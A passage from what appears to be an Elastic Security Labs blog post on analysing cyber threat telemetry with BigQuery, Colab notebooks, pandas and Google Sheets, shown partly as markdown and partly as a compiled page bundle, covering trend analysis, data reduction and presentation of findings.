df.pivot_table(index='timestamp', columns='tactic', values='count', aggfunc='sum').resample('M').sum()\n\nax = monthly_data[['execution', 'defense-evasion']].plot(kind='bar', stacked=False, figsize=(12,6))\n\nplt.title(\"Frequency of 'execution' and 'defense-evasion' Tactics Over Time\")\n\nplt.ylabel(\"Count\")\nax.set_xticklabels([x.strftime('%B-%Y') for x in monthly_data.index])\nplt.xticks(rotation=45)\nplt.tight_layout()\nplt.show()\n```\n\n\nNote: This image is from example data and not from the Global Threat Report\n\nBy aggregating and analyzing endpoint behavioral data at a macro level, we don't just identify isolated threats but can spot waves, trends, and emerging patterns. This broader perspective empowers cybersecurity teams to anticipate, prepare for, and counter large-scale cyber threats more effectively.\n\nWhile these are some examples of how to perform trend analysis, there is no right or wrong approach. Every analyst has their own preference or set of questions they or stakeholders may want to ask. Here are some additional questions or queries analysts may have for cybersecurity data when doing trend analysis.\n\n - What are the top three tactics being leveraged by adversaries this quarter?\n - Which detection rules are triggering the most, and is there a common thread?\n - Are there any time-based patterns in endpoint alerts, possibly hinting at an adversary's timezone?\n - How have cloud alerts evolved with the migration of more services to the cloud?\n - Which malware families are becoming more prevalent, and what might be the cause?\n - Do the data patterns suggest any seasonality, like increased activities towards year-end?\n - Are there correlations between external events and spikes in cyber activities?\n - How does the weekday data differ from weekends in terms of alerts and attacks?\n - Which organizational assets are most targeted, and are their defenses up-to-date?\n - Are there any signs of internal threats or unusual behaviors among privileged accounts?\n\nTrend analysis in cybersecurity is a dynamic process. While we've laid down some foundational techniques and questions, there are myriad ways to approach this vast domain. Each analyst may have their preferences, tools, and methodologies, and that's perfectly fine. The essence lies in continuously evolving and adapting to our approach while cognizantly being aware of the ever-changing threat landscape for each ecosystem exposed to threats.\n\n# Reduction: Streamlining for clarity\n\nHaving progressed through the initial stages of our data analysis, we now enter the next phase: reduction. This step is about refining and concentrating our comprehensive data into a more digestible and focused format.\n\nRecap of the Analysis Journey So Far:\n\n - **Extraction:** The initial phase involved setting up our Google Cloud environment and selecting relevant datasets for our analysis.\n - **Pre-processing and transformation:** At this stage, the data was extracted, processed, and transformed within our Colab notebooks, preparing it for detailed analysis.\n - **Trend analysis:** This phase provided in-depth insights into cyber attack tactics, techniques, and malware, forming the core of our analysis.\n\nWhile the detailed data in our Colab Notebooks is extensive and informative for an analyst, it might be too complex for a broader audience. Therefore, the reduction phase focuses on distilling this information into a more concise and accessible form. The aim is to make the findings clear and understandable, ensuring that they can be effectively communicated and utilized across various departments or stakeholders.\n\n## Selecting and aggregating key data points\n\nIn order to effectively communicate our findings, we must tailor the presentation to the audience's needs. Not every stakeholder requires the full depth of collected data; many prefer a summarized version that highlights the most actionable points. This is where data selection and aggregation come into play, focusing on the most vital elements and presenting them in an accessible format.\n\nHere's an example of how to use Pandas to aggregate and condense a dataset, focusing on key aspects of endpoint behavior:\n\n```\nrequired_endpoint_behavior_cols = ['rule_name','host_os_type','tactic_name','technique_name']\n\n\nreduced_behavior_df = df.groupby(required_endpoint_behavior_cols).size()\n .reset_index(name='count')\n .sort_values(by=\"count\", ascending=False)\n .reset_index(drop=True)\n\ncolumns = {\n 'rule_name': 'Rule Name', \n 'host_os_type': 'Host OS Type',\n 'tactic_name': 'Tactic', \n 'technique_name': 'Technique', \n 'count': 'Alerts'\n}\n\nreduced_behavior_df = reduced_behavior_df.rename(columns=columns)\n```\n\nOne remarkable aspect of this code and process is the flexibility it offers. For instance, we can group our data by various data points tailored to our needs. Interested in identifying popular tactics used by adversaries? Group by the MITRE ATT\u0026CK tactic. Want to shed light on masquerading malicious binaries? Revisit extraction to add more Elastic Common Schema (ECS) fields such as file path, filter on Defense Evasion, and aggregate to reveal the commonly trodden paths. This approach ensures we create datasets that are both enlightening and not overwhelmingly rich, tailor-made for stakeholders who wish to understand the origins of our analysis.\n\nThis process involves grouping the data by relevant categories such as rule name, host OS type, and MITRE ATT\u0026CK tactics and techniques and then counting the occurrences. This method helps in identifying the most prevalent patterns and trends in the data.\n\n\nDiagram example of data aggregation to obtain reduced dataset\n\n## Exporting reduced data to Google Sheets for accessibility\n\nThe reduced data, now stored as a dataframe in memory, is ready to be exported. We use Google Sheets as the platform for sharing these insights because of its wide accessibility and user-friendly interface. The process of exporting data to Google Sheets is straightforward and efficient, thanks to the integration with Google Cloud services.\n\nHere's an example of how the data can be uploaded to Google Sheets using Python from our Colab notebook:\n\n```\nauth.authenticate_user()\ncredentials, project = google.auth.default()\ngc = gspread.authorize(credentials)\nworkbook = gc.open_by_key(\"SHEET_ID\")\nbehavior_sheet_name = 'NAME_OF_TARGET_SHEET'\nendpoint_behavior_worksheet = workbook.worksheet(behavior_sheet_name)\nset_with_dataframe(endpoint_behavior_worksheet, reduced_behavior_df)\n```\n\nWith a few simple lines of code, we have effectively transferred our data analysis results to Google Sheets. This approach is widely used due to its accessibility and ease of use. However, there are multiple other methods to present data, each suited to different requirements and audiences. For instance, some might opt for a platform like [Looker](https://cloud.google.com/looker?hl=en) to present the processed data in a more dynamic dashboard format. This method is particularly useful for creating interactive and visually engaging presentations of data. It ensures that even stakeholders who may not be familiar with the technical aspects of data analysis, such as those working in Jupyter Notebooks, can easily understand and derive value from the insights.\n\n\n\nThis streamlined process of data reduction and presentation can be applied to different types of datasets, such as cloud SIEM alerts, endpoint behavior alerts, or malware alerts. The objective remains the same: to simplify and concentrate the data for clear and actionable insights.\n\n# Presentation: Showcasing the insights\n\nAfter meticulously refining our datasets, we now focus on the final stage: the presentation. Here we take our datasets, now neatly organized in platforms like Google Sheets or Looker, and transform them into a format that is both informative and engaging.\n\n## Pivot tables for in-depth analysis\n\nUsing pivot tables, we can create a comprehensive overview of our trend analysis findings. These tables allow us to display data in a multi-dimensional manner, offering insights into various aspects of cybersecurity, such as prevalent MITRE ATT\u0026CK tactics, chosen techniques, and preferred malware families.\n\nOur approach to data visualization involves:\n\n - **Broad overview with MITRE ATT\u0026CK tactics:** Starting with a general perspective, we use pivot tables to overview the different tactics employed in cyber threats.\n - **Detailed breakdown:** From this panoramic view, we delve deeper, creating separate pivot tables for each popular tactic and then branching out into detailed analyses for each technique and specific detection rule.\n\nThis methodical process helps to uncover the intricacies of detection logic and alerts, effectively narrating the story of the cyber threat landscape.\n\n\nDiagram showcasing aggregations funnel into contextual report information\n\n**Accessibility across audiences:** Our data presentations are designed to cater to a wide range of audiences, from those deeply versed in data science to those who prefer a more straightforward understanding. The Google Workspace ecosystem facilitates the sharing of these insights, allowing pivot tables, reduced datasets, and other elements to be easily accessible to all involved in the report-making process.\n\n**Integrating visualizations into reports:** When crafting a report, for example, in Google Docs, the integration of charts and tables from Google Sheets is seamless. This integration ensures that any modifications in the datasets or pivot tables are easily updated in the report, maintaining the efficiency and coherence of the presentation.\n\n**Tailoring the presentation to the audience:** The presentation of data insights is not just about conveying information; it's about doing so in a visually appealing and digestible manner. For a more tech-savvy audience, an interactive Colab Notebook with dynamic charts and functions may be ideal. In contrast, for marketing or design teams, a well-designed dashboard in Looker might be more appropriate. The key is to ensure that the presentation is clear, concise, and visually attractive, tailored to the specific preferences and needs of the audience.\n\n# Conclusion: Reflecting on the data analysis journey\n\nAs we conclude, it's valuable to reflect on the territory we've navigated in analyzing cyber threat data. This journey involved several key stages, each contributing significantly to our final insights.\n\n## Journey through Google's Cloud ecosystem\n\nOur path took us through several Google Cloud services, including GCP, GCE, Colab Notebooks, and Google Workspace. Each played a pivotal role:\n\n**Data exploration:** We began with a set of cyber-related questions we wanted to answer and explored what vast datasets we had available to us. In this blog, we focused solely on telemetry being available in BigQuery.\n**Data extraction:** We began by extracting raw data, utilizing BigQuery to efficiently handle large volumes of data. Extraction occurred in both BigQuery and from within our Colab notebooks.\n**Data wrangling and processing:** The power of Python and the pandas library was leveraged to clean, aggregate, and refine this data, much like a chef skillfully preparing ingredients.\n**Trend analysis:** We then performed trend analysis on our reformed datasets with several methodologies to glean valuable insights into adversary tactics, techniques, and procedures over time.\n**Reduction:** Off the backbone of our trend analysis, we aggregated our different datasets by targeted data points in preparation for presentation to stakeholders and peers.\n**Transition to presentation:** The ease of moving from data analytics to presentation within a web browser highlighted the agility of our tools, facilitating a seamless workflow.\n\n## Modularity and flexibility in workflow\n\nAn essential aspect of our approach was the modular nature of our workflow. Each phase, from data extraction to presentation, featured interchangeable components in the Google Cloud ecosystem, allowing us to tailor the process to specific needs:\n\n**Versatile tools:** Google Cloud Platform offered a diverse range of tools and options, enabling flexibility in data storage, analysis, and presentation.\n**Customized analysis path:** Depending on the specific requirements of our analysis, we could adapt and choose different tools and methods, ensuring a tailored approach to each dataset.\n**Authentication and authorization:** Due to our entities being housed in the Google Cloud ecosystem, access to different tools, sites, data, and more was all painless, ensuring a smooth transition between services.\n\n## Orchestration and tool synchronization\n\nThe synergy between our technical skills and the chosen tools was crucial. This harmonization ensured that the analytical process was not only effective for this project but also set the foundation for more efficient and insightful future analyses. The tools were used to augment our capabilities, keeping the focus on deriving meaningful insights rather than getting entangled in technical complexities.\n\nIn summary, this journey through data analysis emphasized the importance of a well-thought-out approach, leveraging the right tools and techniques, and the adaptability to meet the demands of cyber threat data analysis. The end result is not just a set of findings but a refined methodology that can be applied to future data analysis endeavors in the ever-evolving field of cybersecurity.\n\n# Call to Action: Embarking on your own data analytics journey\n\nYour analytical workspace is ready! What innovative approaches or experiences with Google Cloud or other data analytics platforms can you bring to the table? The realm of data analytics is vast and varied, and although each analyst brings a unique touch, the underlying methods and principles are universal.\n\nThe objective is not solely to excel in your current analytical projects but to continually enhance and adapt your techniques. This ongoing refinement ensures that your future endeavors in data analysis will be even more productive, enlightening, and impactful. Dive in and explore the world of data analytics with Google Cloud!\n\nWe encourage any feedback and engagement for this topic! If you prefer to do so, feel free to engage us in Elastic’s public [#security](https://elasticstack.slack.com/archives/C018PDGK6JU) Slack channel.","code":"var Component=(()=\u003e{var h=Object.create;var r=Object.defineProperty;var g=Object.getOwnPropertyDescriptor;var u=Object.getOwnPropertyNames;var p=Object.getPrototypeOf,f=Object.prototype.hasOwnProperty;var m=(a,e)=\u003e()=\u003e(e||a((e={exports:{}}).exports,e),e.exports),y=(a,e)=\u003e{for(var n in e)r(a,n,{get:e[n],enumerable:!0})},s=(a,e,n,o)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let i of u(e))!f.call(a,i)\u0026\u0026i!==n\u0026\u0026r(a,i,{get:()=\u003ee[i],enumerable:!(o=g(e,i))||o.enumerable});return a};var b=(a,e,n)=\u003e(n=a!=null?h(p(a)):{},s(e||!a||!a.__esModule?r(n,\"default\",{value:a,enumerable:!0}):n,a)),v=a=\u003es(r({},\"__esModule\",{value:!0}),a);var d=m((q,l)=\u003e{l.exports=_jsx_runtime});var x={};y(x,{default:()=\u003ek,frontmatter:()=\u003ew});var t=b(d()),w={title:\"Google Cloud for Cyber Data Analytics\",slug:\"google-cloud-for-cyber-data-analytics\",date:\"2023-12-14\",subtitle:\"Navigating the seas of cyber threat data with Google Cloud\",description:\"This article explains how we conduct comprehensive cyber threat data analysis using Google Cloud, from data extraction and preprocessing to trend analysis and presentation. It emphasizes the value of BigQuery, Python, and Google Sheets - showcasing how to refine and visualize data for insightful cybersecurity analysis.\",author:[{slug:\"terrance-dejesus\"},{slug:\"eric-forte\"}],image:\"photo-edited-12.png\",category:[{slug:\"security-research\"}],tags:[\"google cloud\"]};function c(a){let e=Object.assign({h1:\"h1\",p:\"p\",ul:\"ul\",li:\"li\",strong:\"strong\",ol:\"ol\",a:\"a\",h2:\"h2\",code:\"code\",pre:\"pre\",img:\"img\",div:\"div\",table:\"table\",thead:\"thead\",tr:\"tr\",th:\"th\",tbody:\"tbody\",td:\"td\",h3:\"h3\"},a.components);return(0,t.jsxs)(t.Fragment,{children:[(0,t.jsx)(e.h1,{id:\"introduction\",children:\"Introduction\"}),`\n`,(0,t.jsx)(e.p,{children:\"In today's digital age, the sheer volume of data generated by devices and systems can be both a challenge and an opportunity for security practitioners. Analyzing a high magnitude of data to craft valuable or actionable insights on cyber attack trends requires precise tools and methodologies.\"}),`\n`,(0,t.jsx)(e.p,{children:\"Before you delve into the task of data analysis, you might find yourself asking:\"}),`\n`,(0,t.jsxs)(e.ul,{children:[`\n`,(0,t.jsx)(e.li,{children:\"What specific questions am I aiming to answer, and do I possess the necessary data?\"}),`\n`,(0,t.jsx)(e.li,{children:\"Where is all the pertinent data located?\"}),`\n`,(0,t.jsx)(e.li,{children:\"How can I gain access to this data?\"}),`\n`,(0,t.jsx)(e.li,{children:\"Upon accessing the data, what steps are involved in understanding and organizing it?\"}),`\n`,(0,t.jsx)(e.li,{children:\"Which tools are most effective for extracting, interpreting, or visualizing the data?\"}),`\n`,(0,t.jsx)(e.li,{children:\"Should I analyze the raw data immediately or wait until it has been processed?\"}),`\n`,(0,t.jsx)(e.li,{children:\"Most crucially, what actionable insights can be derived from the data?\"}),`\n`]}),`\n`,(0,t.jsx)(e.p,{children:\"If these questions resonate with you, you're on the right path. Welcome to the world of Google Cloud, where we'll address these queries and guide you through the process of creating a comprehensive report.\"}),`\n`,(0,t.jsx)(e.p,{children:\"Our approach will include several steps in the following order:\"}),`\n`,(0,t.jsxs)(e.p,{children:[(0,t.jsx)(e.strong,{children:\"Exploration:\"}),\" We start by thoroughly understanding the data at our disposal. This phase involves identifying potential insights we aim to uncover and verifying the availability of the required data.\"]}),`\n`,(0,t.jsxs)(e.p,{children:[(0,t.jsx)(e.strong,{children:\"Extraction:\"}),\" Here, we gather the necessary data, focusing on the most relevant and current information for our analysis.\"]}),`\n`,(0,t.jsxs)(e.p,{children:[(0,t.jsx)(e.strong,{children:\"Pre-processing and transformation:\"}),\" At this stage, we prepare the data for analysis. This involves normalizing (cleaning, organizing, and structuring) the data to ensure its readiness for further processing.\"]}),`\n`,(0,t.jsxs)(e.p,{children:[(0,t.jsx)(e.strong,{children:\"Trend analysis:\"}),\" The majority of our threat findings and observations derive from this effort. We analyze the processed data for patterns, trends, and anomalies. Techniques such as time series analysis and aggregation are employed to understand the evolution of threats over time and to highlight significant cyber attacks across various platforms.\"]}),`\n`,(0,t.jsxs)(e.p,{children:[(0,t.jsx)(e.strong,{children:\"Reduction:\"}),\" In this step, we distill the data to its most relevant elements, focusing on the most significant and insightful aspects.\"]}),`\n`,(0,t.jsxs)(e.p,{children:[(0,t.jsx)(e.strong,{children:\"Presentation:\"}),\" The final step is about presenting our findings. Utilizing tools from Google Workspace, we aim to display our insights in a clear, concise, and visually-engaging manner.\"]}),`\n`,(0,t.jsxs)(e.p,{children:[(0,t.jsx)(e.strong,{children:\"Conclusion:\"}),\" Reflecting on this journey, we'll discuss the importance of having the right analytical tools. We'll highlight how Google Cloud Platform (GCP) provides an ideal environment for analyzing cyber threat data, allowing us to transform raw data into meaningful insights.\"]}),`\n`,(0,t.jsx)(e.h1,{id:\"exploration-determining-available-data\",children:\"Exploration: Determining available data\"}),`\n`,(0,t.jsx)(e.p,{children:\"Before diving into any sophisticated analyses, it's necessary to prepare by establishing an understanding of the data landscape we intend to study.\"}),`\n`,(0,t.jsx)(e.p,{children:\"Here's our approach:\"}),`\n`,(0,t.jsxs)(e.ol,{children:[`\n`,(0,t.jsxs)(e.li,{children:[(0,t.jsx)(e.strong,{children:\"Identifying available data:\"}),\" The first step is to ascertain what data is accessible. This could include malware phenomena, endpoint anomalies, cloud signals, etc. Confirming the availability of these data types is essential.\"]}),`\n`,(0,t.jsxs)(e.li,{children:[(0,t.jsx)(e.strong,{children:\"Locating the data stores:\"}),\" Determining the exact location of our data. Knowing where our data resides \\u2013 whether in databases, data lakes, or other storage solutions \\u2013 helps streamline the subsequent analysis process.\"]}),`\n`,(0,t.jsxs)(e.li,{children:[(0,t.jsx)(e.strong,{children:\"Accessing the data:\"}),\" It\\u2019s important to ensure that we have the necessary permissions or credentials to access the datasets we need. If we don\\u2019t, attempting to identify and request access from the resource owner is necessary.\"]}),`\n`,(0,t.jsxs)(e.li,{children:[(0,t.jsx)(e.strong,{children:\"Understanding the data schema:\"}),\" Comprehending the structure of our data is vital. Knowing the schema aids in planning the analysis process effectively.\"]}),`\n`,(0,t.jsxs)(e.li,{children:[(0,t.jsx)(e.strong,{children:\"Evaluating data quality:\"}),\" Just like any thorough analysis, assessing the quality of the data is crucial. We check whether the data is segmented and detailed enough for a meaningful trend analysis.\"]}),`\n`]}),`\n`,(0,t.jsxs)(e.p,{children:[\"This phase is about ensuring that our analysis is based on solid and realistic foundations. For a report like the \",(0,t.jsx)(e.a,{href:\"http://www.elastic.co/gtr\",rel:\"nofollow\",children:\"Global Threat Report\"}),\", we rely on rich and pertinent datasets such as:\"]}),`\n`,(0,t.jsxs)(e.ul,{children:[`\n`,(0,t.jsxs)(e.li,{children:[(0,t.jsx)(e.strong,{children:\"Cloud signal data:\"}),\" This includes data from global Security Information and Event Management (SIEM) alerts, especially focusing on cloud platforms like AWS, GCP, and Azure. This data is often sourced from \",(0,t.jsx)(e.a,{href:\"https://github.com/elastic/detection-rules\",rel:\"nofollow\",children:\"public detection rules\"}),\".\"]}),`\n`,(0,t.jsxs)(e.li,{children:[(0,t.jsx)(e.strong,{children:\"Endpoint alert data:\"}),\" Data collected from the global \",(0,t.jsx)(e.a,{href:\"https://docs.elastic.co/en/integrations/endpoint\",rel:\"nofollow\",children:\"Elastic Defend\"}),\" alerts, incorporating a variety of public \",(0,t.jsx)(e.a,{href:\"https://github.com/elastic/protections-artifacts/tree/main/behavior\",rel:\"nofollow\",children:\"endpoint behavior rules\"}),\".\"]}),`\n`,(0,t.jsxs)(e.li,{children:[(0,t.jsx)(e.strong,{children:\"Malware data:\"}),\" This involves data from global Elastic Defend alerts, enriched with \",(0,t.jsx)(e.a,{href:\"https://www.elastic.co/blog/introducing-elastic-endpoint-security\",rel:\"nofollow\",children:\"MalwareScore\"}),\" and public \",(0,t.jsx)(e.a,{href:\"https://github.com/elastic/protections-artifacts/tree/main/yara\",rel:\"nofollow\",children:\"YARA rules\"}),\".\"]}),`\n`]}),`\n`,(0,t.jsxs)(e.p,{children:[\"Each dataset is categorized and enriched for context with frameworks like \",(0,t.jsx)(e.a,{href:\"https://attack.mitre.org/\",rel:\"nofollow\",children:\"MITRE ATT\u0026CK\"}),\", Elastic Stack details, and customer insights. Storage solutions of Google Cloud Platform, such as BigQuery and Google Cloud Storage (GCS) buckets, provide a robust infrastructure for our analysis.\"]}),`\n`,(0,t.jsx)(e.p,{children:\"It's also important to set a data \\u201Cfreshness\\u201D threshold, excluding data not older than 365 days for an annual report, to ensure relevance and accuracy.\"}),`\n`,(0,t.jsx)(e.p,{children:\"Lastly, remember to choose data that offers an unbiased perspective. Excluding or including internal data should be an intentional, strategic decision based on its relevance to your visibility.\"}),`\n`,(0,t.jsx)(e.p,{children:\"In summary, selecting the right tools and datasets is fundamental to creating a comprehensive and insightful analysis. Each choice contributes uniquely to the overall effectiveness of the data analysis, ensuring that the final insights are both valuable and impactful.\"}),`\n`,(0,t.jsx)(e.h1,{id:\"extraction-the-first-step-in-data-analysis\",children:\"Extraction: The first step in data analysis\"}),`\n`,(0,t.jsx)(e.p,{children:\"Having identified and located the necessary data, the next step in our analytical journey is to extract this data from our storage solutions. This phase is critical, as it sets the stage for the in-depth analysis that follows.\"}),`\n`,(0,t.jsx)(e.h2,{id:\"data-extraction-tools-and-techniques\",children:\"Data extraction tools and techniques\"}),`\n`,(0,t.jsx)(e.p,{children:\"Various tools and programming languages can be utilized for data extraction, including Python, R, Go, Jupyter Notebooks, and Looker Studio. Each tool offers unique advantages, and the choice depends on the specific needs of your analysis.\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"In our data extraction efforts, we have found the most success from a combination of \",(0,t.jsx)(e.a,{href:\"https://cloud.google.com/bigquery?hl=en\",rel:\"nofollow\",children:\"BigQuery\"}),\", \",(0,t.jsx)(e.a,{href:\"https://colab.google/\",rel:\"nofollow\",children:\"Colab Notebooks\"}),\", \",(0,t.jsx)(e.a,{href:\"https://cloud.google.com/storage/docs/json_api/v1/buckets\",rel:\"nofollow\",children:\"buckets\"}),\", and \",(0,t.jsx)(e.a,{href:\"https://workspace.google.com/\",rel:\"nofollow\",children:\"Google Workspace\"}),\" to extract the required data. Colab Notebooks, akin to Jupyter Notebooks, operate within Google's cloud environment, providing a seamless integration with other Google Cloud services.\"]}),`\n`,(0,t.jsx)(e.h2,{id:\"bigquery-for-data-staging-and-querying\",children:\"BigQuery for data staging and querying\"}),`\n`,(0,t.jsxs)(e.p,{children:['In the analysis process, a key step is to \"stage\" our datasets using BigQuery. This involves utilizing BigQuery queries to create and save objects, thereby making them reusable and shareable across our team. We achieve this by employing the ',(0,t.jsx)(e.a,{href:\"https://hevodata.com/learn/google-bigquery-create-table/#b2\",rel:\"nofollow\",children:\"CREATE TABLE\"}),\" statement, which allows us to combine multiple \",(0,t.jsx)(e.a,{href:\"https://cloud.google.com/bigquery/docs/datasets-intro\",rel:\"nofollow\",children:\"datasets\"}),\" such as endpoint behavior alerts, customer data, and rule data into a single, comprehensive dataset.\"]}),`\n`,(0,t.jsx)(e.p,{children:\"This consolidated dataset is then stored in a BigQuery table specifically designated for this purpose\\u2013for this example, we\\u2019ll refer to it as the \\u201CGlobal Threat Report\\u201D dataset. This approach is applied consistently across different types of data, including both cloud signals and malware datasets.\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"The newly created data table, for instance, might be named \",(0,t.jsx)(e.code,{children:\"elastic.global_threat_report.ep_behavior_raw\"}),\". This naming convention, defined by BigQuery, helps in organizing and locating the datasets effectively, which is crucial for the subsequent stages of the extraction process.\"]}),`\n`,(0,t.jsx)(e.p,{children:\"An example of a BigQuery query used in this process might look like this:\"}),`\n`,(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{children:`CREATE TABLE elastic.global_threat_report.ep_behavior_raw AS\nSELECT * FROM ...\n`})}),`\n`,(0,t.jsxs)(e.p,{children:[(0,t.jsx)(e.img,{src:\"/assets/images/google-cloud-for-cyber-data-analytics/image8.png\",alt:\"Diagram for BigQuery query to an exported dataset table\",width:\"1440\",height:\"591\"}),`\nDiagram for BigQuery query to an exported dataset table`]}),`\n`,(0,t.jsxs)(e.p,{children:[\"We also use the \",(0,t.jsx)(e.a,{href:\"https://cloud.google.com/bigquery/docs/reference/standard-sql/other-statements#export_data_statement\",rel:\"nofollow\",children:\"EXPORT DATA\"}),\" statement in BigQuery to transfer tables to other GCP services, like exporting them to Google Cloud Storage (GCS) buckets in \",(0,t.jsx)(e.a,{href:\"https://parquet.apache.org/\",rel:\"nofollow\",children:\"parquet file format\"}),\".\"]}),`\n`,(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{children:`EXPORT DATA\n OPTIONS (\n uri = 'gs://**/ep_behavior/*.parquet',\n format = 'parquet',\n overwrite = true\n )\nAS (\nSELECT * FROM \\`project.global_threat_report.2023_pre_norm_ep_behavior\\`\n)\n`})}),`\n`,(0,t.jsx)(e.h2,{id:\"colab-notebooks-for-loading-staged-datasets\",children:\"Colab Notebooks for loading staged datasets\"}),`\n`,(0,t.jsxs)(e.p,{children:[(0,t.jsx)(e.a,{href:\"https://colab.research.google.com/\",rel:\"nofollow\",children:\"Colab Notebooks\"}),\" are instrumental in organizing our data extraction process. They allow for easy access and management of data scripts stored in platforms like GitHub and Google Drive.\"]}),`\n`,(0,t.jsx)(e.p,{children:\"For authentication and authorization, we use Google Workspace credentials, simplifying access to various Google Cloud services, including BigQuery and Colab Notebooks. Here's a basic example of how authentication is handled:\"}),`\n`,(0,t.jsxs)(e.p,{children:[(0,t.jsx)(e.img,{src:\"/assets/images/google-cloud-for-cyber-data-analytics/image9.png\",alt:\"Diagram for authentication and authorization between Google Cloud services\",width:\"918\",height:\"641\"}),`\nDiagram for authentication and authorization between Google Cloud services`]}),`\n`,(0,t.jsxs)(e.p,{children:[\"For those new to \",(0,t.jsx)(e.a,{href:\"https://jupyter-notebook-beginner-guide.readthedocs.io/en/latest/\",rel:\"nofollow\",children:\"Jupyter Notebooks\"}),\" or dataframes, it's beneficial to spend time becoming familiar with these tools. They are fundamental in any data analyst's toolkit, allowing for efficient code management, data analysis, and structuring. Mastery of these tools is key to effective data analysis.\"]}),`\n`,(0,t.jsxs)(e.p,{children:[\"Upon creating a notebook in Google Colab, we're ready to extract our custom tables (such as project.global_threat_report.ep_behavior_raw) from BigQuery. This data is then loaded into Pandas Dataframes, a Python library that facilitates data manipulation and analysis. While handling large datasets with Python can be challenging, Google Colab provides robust virtual computing resources. If needed, these resources can be scaled up through the Google Cloud \",(0,t.jsx)(e.a,{href:\"https://console.cloud.google.com/marketplace/product/colab-marketplace-image-public/colab\",rel:\"nofollow\",children:\"Marketplace\"}),\" or the Google Cloud Console, ensuring that even large datasets can be processed efficiently.\"]}),`\n`,(0,t.jsx)(e.h2,{id:\"essential-python-libraries-for-data-analysis\",children:\"Essential Python libraries for data analysis\"}),`\n`,(0,t.jsx)(e.p,{children:\"In our data analysis process, we utilize various Python libraries, each serving a specific purpose:\"}),`\n`,(0,t.jsx)(e.div,{className:\"table-container\",children:(0,t.jsxs)(e.table,{children:[(0,t.jsx)(e.thead,{children:(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.th,{children:\"Library\"}),(0,t.jsx)(e.th,{children:\"Description\"})]})}),(0,t.jsxs)(e.tbody,{children:[(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:(0,t.jsx)(e.a,{href:\"https://docs.python.org/3/library/datetime.html\",rel:\"nofollow\",children:\"datetime\"})}),(0,t.jsx)(e.td,{children:\"Essential for handling all operations related to date and time in your data. It allows you to manipulate and format date and time information for analysis.\"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:(0,t.jsx)(e.a,{href:\"https://google-auth.readthedocs.io/en/master/\",rel:\"nofollow\",children:\"google.auth\"})}),(0,t.jsx)(e.td,{children:\"Manages authentication and access permissions, ensuring secure access to Google Cloud services. It's key for controlling who can access your data and services.\"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:(0,t.jsx)(e.a,{href:\"https://cloud.google.com/python/docs/reference/bigquery/latest\",rel:\"nofollow\",children:\"google.colab.auth\"})}),(0,t.jsx)(e.td,{children:\"Provides authentication for accessing Google Cloud services within Google Colab notebooks, enabling a secure connection to your cloud-based resources.\"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:(0,t.jsx)(e.a,{href:\"https://cloud.google.com/python/docs/reference/bigquery/latest\",rel:\"nofollow\",children:\"google.cloud.bigquery\"})}),(0,t.jsx)(e.td,{children:\"A tool for managing large datasets in Google Cloud's BigQuery service. It allows for efficient processing and analysis of massive amounts of data.\"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:(0,t.jsx)(e.a,{href:\"https://cloud.google.com/python/docs/reference/storage/latest\",rel:\"nofollow\",children:\"google.cloud.storage\"})}),(0,t.jsx)(e.td,{children:\"Used for storing and retrieving data in Google Cloud Storage. It's an ideal solution for handling various data files in the cloud.\"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:(0,t.jsx)(e.a,{href:\"https://docs.gspread.org/en/latest/\",rel:\"nofollow\",children:\"gspread\"})}),(0,t.jsx)(e.td,{children:\"Facilitates interaction with Google Spreadsheets, allowing for easy manipulation and analysis of spreadsheet data.\"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsxs)(e.td,{children:[(0,t.jsx)(e.a,{href:\"https://pypi.org/project/gspread-dataframe/\",rel:\"nofollow\",children:\"gspread.dataframe\"}),\".set_with_dataframe\"]}),(0,t.jsx)(e.td,{children:\"Syncs data between Pandas dataframes and Google Spreadsheets, enabling seamless data transfer and updating between these formats.\"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsxs)(e.td,{children:[(0,t.jsx)(e.a,{href:\"https://pypi.org/project/matplotlib/\",rel:\"nofollow\",children:\"matplotlib\"}),\".pyplot.plt\"]}),(0,t.jsx)(e.td,{children:\"A module in Matplotlib library for creating charts and graphs. It helps in visualizing data in a graphical format, making it easier to understand patterns and trends.\"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:(0,t.jsx)(e.a,{href:\"https://pandas.pydata.org/\",rel:\"nofollow\",children:\"pandas\"})}),(0,t.jsx)(e.td,{children:\"A fundamental tool for data manipulation and analysis in Python. It offers data structures and operations for manipulating numerical tables and time series.\"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsxs)(e.td,{children:[(0,t.jsx)(e.a,{href:\"https://pypi.org/project/pandas-gbq/\",rel:\"nofollow\",children:\"pandas.gbq\"}),\".to_gbq\"]}),(0,t.jsx)(e.td,{children:\"Enables the transfer of data from Pandas dataframes directly into Google BigQuery, streamlining the process of moving data into this cloud-based analytics platform.\"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsxs)(e.td,{children:[(0,t.jsx)(e.a,{href:\"https://arrow.apache.org/docs/python/index.html\",rel:\"nofollow\",children:\"pyarrow\"}),\".parquet.pq\"]}),(0,t.jsx)(e.td,{children:\"Allows for efficient storage and retrieval of data in the Parquet format, a columnar storage file format optimized for use with large datasets.\"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:(0,t.jsx)(e.a,{href:\"https://seaborn.pydata.org/\",rel:\"nofollow\",children:\"seaborn\"})}),(0,t.jsx)(e.td,{children:\"A Python visualization library based on Matplotlib that provides a high-level interface for drawing attractive and informative statistical graphics.\"})]})]})]})}),`\n`,(0,t.jsx)(e.p,{children:\"Next, we authenticate with BigQuery, and receive authorization to access our datasets as demonstrated earlier. By using Google Workspace credentials, we can easily access BigQuery and other Google Cloud services. The process typically involves a simple code snippet for 